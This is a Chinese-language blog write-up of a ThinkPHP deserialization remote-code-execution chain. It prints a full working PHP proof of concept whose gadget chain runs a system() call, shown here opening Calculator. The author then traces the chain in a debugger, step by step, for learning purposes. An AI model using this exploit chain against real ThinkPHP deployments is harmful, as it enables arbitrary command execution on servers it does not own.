看到最新的TP爆了一个反序列化的RCE,看着ZAC师傅文章分析一下
准备
原始POC链接https://github.com/top-think/framework/issues/2749
下一下源码
composer create-project topthink/think tp
|
这次用Phpstorm来调试分析,配置教程依然参考国光师傅的。
采取POC+动调
分析
先上POC
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{ private $pool; protected $autosave = false; public function __construct($exp) { $this->pool = $exp; } } }
namespace think\log{ class Channel{ protected $logger; protected $lazy = true;
public function __construct($exp) { $this->logger = $exp; $this->lazy = false; } } }
namespace think{ class Request{ protected $url; public function __construct() { $this->url = '<?php system(\'open /System/Applications/Calculator.app\'); exit(); ?>'; } } class App{ protected $instances = []; public function __construct() { $this->instances = ['think\Request'=>new Request()]; } } }
namespace think\view\driver{ class Php{} }
namespace think\log\driver{
class Socket{ protected $config = []; protected $app; protected $clientArg = [];
public function __construct() { $this->config = [ 'debug'=>true, 'force_client_ids' => 1, 'allow_client_ids' => '', 'format_head' => [new \think\view\driver\Php,'display'], ]; $this->app = new \think\App(); $this->clientArg = ['tabid'=>'1']; } } }
namespace{ $c = new think\log\driver\Socket(); $b = new think\log\Channel($c); $a = new League\Flysystem\Cached\Storage\Psr6Cache($b); echo urlencode(serialize($a)); }
|
把这个小电话开启,我们直接打入POC,断点断在__destruct
方法里
然后我们单步跟进save
方法
这里的pool
现在是Channel
类,然后调用getItem
方法,我们跟进会发现,Channel
类中没有getItem
方法,所以会调用__call
方法
接着就是调用log
,然后log
又调用record
,然后跟进发现它又调用一个save
此时我们看到,logger
是指向Socket
类,而后调用save
也就是Socket
中的save
方法
然后就一路跟,一直到request
调用url
解析了我们执行的命令,其中http://
是通过domain
和scheme
函数得到的
然后执行到了invokeMethod
跟进后,reflect
被传入类Php
,方法是display
,然后调用invokeArgs
方法
这个invokeArgs
可以带参数执行
所以继续跟进,它就会去执行Php
类中的display
方法
执行完,成功弹出了计算器
这不算是复现这条链子,主要是熟悉下调试流程,分析代码执行过程。